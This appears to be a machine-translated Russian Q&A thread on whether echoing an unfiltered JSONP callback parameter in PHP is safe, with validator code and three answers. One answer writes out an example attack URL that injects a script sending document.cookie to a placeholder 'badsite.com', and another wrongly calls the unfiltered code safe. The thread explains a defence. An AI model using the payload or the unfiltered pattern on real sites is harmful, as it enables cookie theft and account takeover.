Подтвердить что ты не робот

Безопасно ли это для обеспечения JSONP?

<?php header('content-type: application/json');

$json = json_encode($data);

echo isset($_GET['callback'])
    ? "{$_GET['callback']}($json)"
    : $json;

Или должен ли я, например, фильтровать переменную $_GET['callback'], чтобы она содержала только действительное имя функции JavaScript? Если да, то каковы действительные имена функций JavaScript?

Или не фильтрует эту переменную бит точки с помощью JSONP?


Текущее решение: Сообщено о моем текущем решении на http://www.geekality.net/?p=1021. Короче говоря, на данный момент у меня есть следующий код, который, надеюсь, должен быть довольно безопасным:

<?php header('content-type: application/json; charset=utf-8');

function is_valid_callback($subject)
{
     $identifier_syntax
       = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';

     $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',
       'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 
       'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 
       'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 
       'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 
       'private', 'public', 'yield', 'interface', 'package', 'protected', 
       'static', 'null', 'true', 'false');

     return preg_match($identifier_syntax, $subject)
         && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words);
}

$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9);
$json = json_encode($data);

# JSON if no callback
if( ! isset($_GET['callback']))
     exit( $json );

# JSONP if valid callback
if(is_valid_callback($_GET['callback']))
     exit( "{$_GET['callback']}($json)" );

# Otherwise, bad request
header('Status: 400 Bad Request', true, 400);
4b9b3361

Ответ 1

Нет, если вы намерены ограничить JSONP для выбора доменов. Также укажите кодировку, или люди, которые не могут получить доступ к JSON, могут совершать атаки UTF-7. Вместо этого используйте этот заголовок:

header('Content-Type: application/json; charset=utf-8');

Если он должен быть публичным сервисом JSONP, тогда да, это безопасно, а также используйте application/javascript вместо application/json.

Ответ 2

Чтобы быть в безопасности, вы должны закодировать callback только для допустимых имен функций JS. Ничего сложного, просто не позволяйте конечным разработчикам вводить любой javascript. Вот код:

<?php

    header('Content-Type: application/json; charset=utf-8'); // Thanks Eli

    /**
     * Ensures that input string matches a set of whitelisted characters and
     * replaces unlisted ones with a replacement string (defaults to underscore).
     * @param string $orig The original text to filter.
     * @param string $replace The replacement string (default is underscore).
     * @param string The original text with bad characters replaced with $replace.
     * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263
     */
    function strtoident($orig,$replace=''){
        $orig=(string)$orig;                  // ensure input is a string
        for($i=0; $i<strlen($orig); $i++){
            $o=ord($orig{$i});
            if(!(  (($o>=48) && ($o<=57))     // numbers
                || (($o>=97) && ($o<=122))    // lowercase
                || (($o>=65) && ($o<=90))     // uppercase
                || ($orig{$i}=='_')))         // underscore
                   $orig{$i}=$replace;        // check failed, use replacement
        }
        return $orig;
    }

    $json=json_encode($data)

    echo isset($_GET['callback'])
        ? strtoident($_GET['callback']).'('.$json.');'
        : $json;

?>

Edit:

Причина заключается в том, чтобы избежать хакеров, указывающих невинных жертв:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

Что можно разбить на:

(function(){
    $(document.body).append(
        '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'
    );
})//("whatever");

Если последняя часть является json, которую вы закодировали, ее легко отменить с комментарием (хотя и не нужно, чтобы их эксплойт работал). В основном, хакер узнает файлы cookie пользователя (среди прочего), которые помогают ему получить доступ к учетной записи пользователя на вашем веб-сайте.

Изменить: Совместимость UTF-8. Чтобы обосновать мои претензии, читайте здесь. Или:

Подобно UTF-16 и UTF-32, UTF-8 может представлять каждый символ в наборе символов Unicode. В отличие от них, он обратно совместим с ASCII и избегает осложнений суждений и байтов (BOM).

Ответ 3

Я думаю, что это безопасно. Пока вы не отгоняете $_GET ['callback'] на другой странице без экранирования. Тот, кто делает запрос, может поставить все, что захочет в нем, я думаю, что это всегда будут его проблемы, а не ваши. На этой странице дается определение действительного имени функции js: http://www.functionx.com/javascript/Lesson05.htm